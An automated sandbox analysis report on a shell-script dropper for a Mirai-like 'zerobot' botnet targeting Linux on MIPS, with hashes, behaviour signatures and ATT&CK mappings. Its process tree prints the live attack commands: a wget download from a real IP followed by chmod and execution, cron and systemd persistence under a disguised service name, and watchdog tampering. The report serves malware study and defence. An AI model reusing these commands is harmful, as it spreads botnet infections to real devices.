Analysis
- max time kernel
105s - max time network
151s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem - submitted
30/09/2026, 07:29
Static task
static1
Behavioral task
behavioral1
Sample
ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
Resource
debian9-mipsel-20260513-en
General
- Target ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
- Size 1KB
- Sample260930-jbbzyavxht
- SHA256 ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9
- MD5 ff0392a6b6e6f80511315fd3e571cab1
- SHA1 cdf934b11863ab95509ef877ed2ee19742d42068
- SHA512 752d29fcf75c70156a67c37d6c452eb979fc622b3b199d68d08a91c8a7639e920d5ee672da9649de0af23a2741422f2ef33db4f64168ac700f66ac9de2da8aa0
- TLSH T1DC313CF3FA66BC7271858839E75A7485A69B1C37182DAD5CB485F8303F3C804F621B66
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Contacts a large (45109) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 738 chmod - Executes dropped EXE 2 IoCs
ioc pid Process /tmp/zerobot.mips 739 ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh /var/tmp/.sysd 739 zerobot.mips - Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog .sysd File opened for modification /dev/misc/watchdog .sysd - Creates/modifies Cron job 1 TTPs 2 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.xPrfAe crontab File opened for modification /var/spool/cron/crontabs/tmp.Diulix crontab - Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp .sysd - Enumerates running processes
Discovers information about currently running processes on the system
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/systemd-network-update.service zerobot.mips - Writes file to system bin folder 2 IoCs
description ioc Process File opened for modification /sbin/watchdog .sysd File opened for modification /bin/watchdog .sysd -
resource yara_rule behavioral3/files/fstream-1.dat upx - Changes its process name 8 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself [kthreadd] 739 .sysd Changes the process name, possibly in an attempt to hide itself [kworker/2:0] 789 .sysd Changes the process name, possibly in an attempt to hide itself [watchdog/0] 791 .sysd Changes the process name, possibly in an attempt to hide itself [kworker/2:0] 788 .sysd Changes the process name, possibly in an attempt to hide itself [kworker/0:0] 787 .sysd Changes the process name, possibly in an attempt to hide itself [kworker/0:1] 794 .sysd Changes the process name, possibly in an attempt to hide itself [kworker/0:2] 795 .sysd Changes the process name, possibly in an attempt to hide itself [kworker/0:3] 796 .sysd - Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp .sysd - Enumerates kernel/hardware configuration 1 TTPs 3 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl -
description ioc Process File opened for reading /proc/1671/status .sysd File opened for reading /proc/6/status .sysd File opened for reading /proc/714/status .sysd File opened for reading /proc/1373/status .sysd File opened for reading /proc/1674/status .sysd File opened for reading /proc/1723/status .sysd File opened for reading /proc/382/fd .sysd File opened for reading /proc/1428/status .sysd File opened for reading /proc/1502/status .sysd File opened for reading /proc/1555/status .sysd File opened for reading /proc/704/status .sysd File opened for reading /proc/879/status .sysd File opened for reading /proc/1376/status .sysd File opened for reading /proc/1389/status .sysd File opened for reading /proc/1505/status .sysd File opened for reading /proc/1556/status .sysd File opened for reading /proc/1724/status .sysd File opened for reading /proc/filesystems systemctl File opened for reading /proc/1503/status .sysd File opened for reading /proc/1549/status .sysd File opened for reading /proc/1746/status .sysd File opened for reading /proc/21/status .sysd File opened for reading /proc/789/status .sysd File opened for reading /proc/1622/status .sysd File opened for reading /proc/1651/status .sysd File opened for reading /proc/1720/status .sysd File opened for reading /proc/7/status .sysd File opened for reading /proc/74/status .sysd File opened for reading /proc/1026/status .sysd File opened for reading /proc/1443/status .sysd File opened for reading /proc/1543/status .sysd File opened for reading /proc/1725/status .sysd File opened for reading /proc/849/status .sysd File opened for reading /proc/1630/status .sysd File opened for reading /proc/1690/status .sysd File opened for reading /proc/1728/status .sysd File opened for reading /proc/176/status .sysd File opened for reading /proc/1615/status .sysd File opened for reading /proc/976/status .sysd File opened for reading /proc/1284/status .sysd File opened for reading /proc/1489/status .sysd File opened for reading /proc/filesystems systemctl File opened for reading /proc/898/status .sysd File opened for reading /proc/1209/status .sysd File opened for reading /proc/1572/status .sysd File opened for reading /proc/1629/status .sysd File opened for reading /proc/1667/status .sysd File opened for reading /proc/1732/status .sysd File opened for reading /proc/794/status .sysd File opened for reading /proc/335/fd .sysd File opened for reading /proc/1437/status .sysd File opened for reading /proc/1525/status .sysd File opened for reading /proc/1718/status .sysd File opened for reading /proc/1748/status .sysd File opened for reading /proc/2/status .sysd File opened for reading /proc/1020/status .sysd File opened for reading /proc/1367/status .sysd File opened for reading /proc/1432/status .sysd File opened for reading /proc/1485/status .sysd File opened for reading /proc/1719/status .sysd File opened for reading /proc/1731/status .sysd File opened for reading /proc/1750/status .sysd File opened for reading /proc/367/fd .sysd File opened for reading /proc/383/fd .sysd - System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 723 rm 727 busybox 739 zerobot.mips 793 rm - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/zerobot.mips busybox
Processes
-
/tmp/ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh/tmp/ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh1⤵
- Executes dropped EXE
PID:716 -
/bin/busybox/bin/busybox uname -m2⤵PID:720
-
-
/bin/rmrm -f zerobot.mips2⤵
- System Network Configuration Discovery
PID:723
-
-
/bin/busybox/bin/busybox wget -q -O zerobot.mips http://176.65.139.157/fvbig/zerobot.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:727
-
-
/bin/chmodchmod +x zerobot.mips2⤵
- File and Directory Permissions Modification
PID:738
-
-
/tmp/zerobot.mips./zerobot.mips zerobot.mips2⤵
- Executes dropped EXE
- Modifies systemd
- System Network Configuration Discovery
PID:739 -
/bin/shsh -c "(crontab -l 2>/dev/null | grep -v '/var/tmp/.sysd' | crontab - 2>/dev/null) >/dev/null 2>&1"3⤵PID:740
-
/bin/grepgrep -v /var/tmp/.sysd4⤵PID:744
-
-
/usr/bin/crontabcrontab -l4⤵PID:743
-
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:745
-
-
-
/bin/shsh -c "systemctl daemon-reload 2>/dev/null; systemctl enable systemd-network-update.service 2>/dev/null; systemctl start systemd-network-update.service 2>/dev/null"3⤵PID:747
-
/bin/systemctlsystemctl daemon-reload4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:748
-
-
/bin/systemctlsystemctl enable systemd-network-update.service4⤵
- Enumerates kernel/hardware configuration
PID:766
-
-
/bin/systemctlsystemctl start systemd-network-update.service4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:779
-
-
-
-
/var/tmp/.sysd/var/tmp/.sysd2⤵
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Writes file to system bin folder
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:739 -
/bin/shsh -c "(crontab -l 2>/dev/null | grep -v '/var/tmp/.sysd' | crontab - 2>/dev/null) >/dev/null 2>&1"3⤵PID:782
-
/bin/grepgrep -v /var/tmp/.sysd4⤵PID:785
-
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:786
-
-
/usr/bin/crontabcrontab -l4⤵PID:784
-
-
-
-
/bin/rmrm -f zerobot.mips2⤵
- System Network Configuration Discovery
PID:793
-
-
/bin/rmrm -f telnet2.sh2⤵PID:797
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/systemd/system/systemd-network-update.service
- Size 184B
- SHA256 2c0ed8e36e0603c11ba5613314d2bd2605e25777a5179c6264da034367c7c21c
- MD5 9f46c129e7dc87839ced9d15087b432a
- SHA1 f83562c882ee3880d3a25d0993ae934b5625283d
- SHA512 1971b69c160140092e323c4456de8efb8591305560ea09f1acf729e2c32d223e853ae447db5fd76754a2ccd07ae006554e4a845872ab2bcad083287fc106a9c4
- TLSH T131C02212672071D08C4B24725FB63B808A1002404A8AA1304BA0982500F3102A11A9BD
- MD5 SHA1 SHA512 TLSH
- Path /tmp/zerobot.mips
- Size 244KB
- SHA256 43820d92efd2b7c619970523b830a8709afb96d02bb89fba8e772a1a63c15976
- MD5 b48cf7ac5130c6fe2cb75981ab4192e8
- SHA1 239a6ea76c8166f8beb7be47ca75d30e3f0c6fa5
- SHA512 d3aa571ea6216ff768b18d0f744439a5781a72f292a9ba320a42be573f45b88786d5b53b346e74435e8991c35c3b5d7296041e76cb8ef326e6864bfefa1a11c2
- SSDEEP 6144:hUNy/7bDfLtpmJM9mzx0d/c9Ywe2HjhG9EbA8mkrNBBWcKh7:hUCvTUKd/32Hj105kZBQcO7
- TLSH T15E3423CD9D5C9C1DE2A723DE832569B0394A6D7805CFD6BC5648EA3E05F022F76CBA04
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /var/spool/cron/crontabs/tmp.Diulix
- Size 175B
- SHA256 a9ab1ee295f007ce37e7cdc0733f8caa5531d49fefc412fcd34229d154f4053e
- MD5 941ecad99c6360fbe6d01989f007dc1b
- SHA1 51e7de3cc2c37ca20b07d219d21a95e2e6b1626d
- SHA512 ee1ba184fcd7fce7ddc03fe756870d19d05205a34c77108bcd40686e6cbd474ed5dcd4806a1fd92b12670384df7ddd4670e40e925708eb95123abf882c145551
- TLSH T13FC0CC0C3F00B8303A000B0C222B002EAAA2A03CC08EAE80E0CC200C020238CBF80832
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.xPrfAe
- Size 175B
- SHA256 95d65657eec726cfd3466e3acff7b03bb59df25bdfb45d8d7e3a59649933a090
- MD5 288da30a1e40b4b6658e28cd078e1075
- SHA1 f39d7793f17f262f15784483f7b0be3eb7f9031e
- SHA512 abd6d407bea30bad3887766030a0a7e7b616ce7d8df63934ad5dbe40098c29ef305a97744c9964eeb306e72fd1e874df96af837a1bda115f2f32d284195b4c96
- TLSH T198C0CC0C3F00B8302A000B0C222B002EA8A2A03CC00EAEA0E0EC200C0202B8CAF80C32
- MD5 SHA1 SHA512 TLSH
- Path /var/tmp/.sysd.lock
- Size 4B
- SHA256 03973547bf83b66a8c3d4ba4ec764d079fe2dda36aa4fa852ef9b6e0e3fb1695
- MD5 63f850a31877da4ef782f0735f4cdc73
- SHA1 3b8acd74fa244dda7123403912ef3ed050955388
- SHA512 7579e19fcc841905615c15a356321b07b824874a144614f1e760cc4cb50bd063ebcfdf2695b72fa376e14832546549a4c17334a5972a54f00440c7516898596c
- MD5 SHA1 SHA512